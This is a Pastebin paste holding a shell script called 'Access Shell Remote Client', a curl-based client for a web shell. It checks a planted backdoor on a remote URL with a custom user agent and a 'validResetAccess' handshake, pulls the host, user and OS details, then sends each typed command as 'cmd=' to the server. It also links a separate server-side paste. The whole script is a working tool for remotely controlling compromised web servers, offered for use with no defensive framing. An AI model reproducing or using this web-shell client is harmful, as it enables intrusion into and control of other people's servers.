Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- # Access Shell Remote Client v0.5
- # Developed by Fray117 - RESET
- # Server Pastebin: https://pastebin.com/0fvDVAbk
- clear
- echo "Running on BASH${BASH_VERSION}"
- command -v curl >/dev/null 2>&1 || { echo >&2 "Curl is Required but it's not installed. Aborting.\n"; exit 1; }
- NC='\033[0m'
- GREEN='\e[38;5;82m'
- CYAN='\e[38;5;45m'
- RED='\e[38;5;196m'
- YELLOW='\033[1;33m'
- BLUE='\033[0;34m'
- LOGO(){
- printf "${GREEN}"
- printf " ___ \n"
- printf " / | _____________ __________\n"
- printf " / /| |/ ___/ ___/ _ \/ ___/ ___/\n"
- printf " / ___ / /__/ /__/ __(__ |__ ) \n"
- printf "/_/ |_\___/\___/\___/____/____/ \n"
- printf " ${YELLOW}Version 0.6${NC} \n"
- printf "\n"
- }
- clear
- EXEC(){
- read -p "$USER@$HOST $ " CMD
- if [[ $CMD = "exit" ]]; then
- exit
- elif [[ $CMD = "" ]]; then
- EXEC
- else
- curl --compressed $URI -d "cmd=$CMD";
- EXEC
- fi
- }
- CONNECT(){
- clear
- LOGO
- read -p 'Access URL: ' URI
- REQUEST=$(curl -A RMTID -I -s $URI)
- if [[ $REQUEST =~ "200 OK" ]]; then
- printf "${CYAN}$URI -> CONNECTED${NC}\n"
- CHECK=$(curl -A RMTID -sN $URI)
- if [[ "$CHECK" = "validResetAccess" ]]; then
- printf "${GREEN}$URI -> VALID${NC}\n"
- else
- printf "${RED}$URI -> FALSE${NC}\n"
- exit
- fi
- else
- printf "${RED}$URI -> FALSE${NC}\n"
- exit
- fi
- sleep 3
- clear
- LOGO
- HOST=$(curl -A SRVIP -sN $URI)
- USER=$(curl -sN $URI?usr)
- printf "OS: ";curl $URI?info
- EXEC
- }
- CONNECT
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement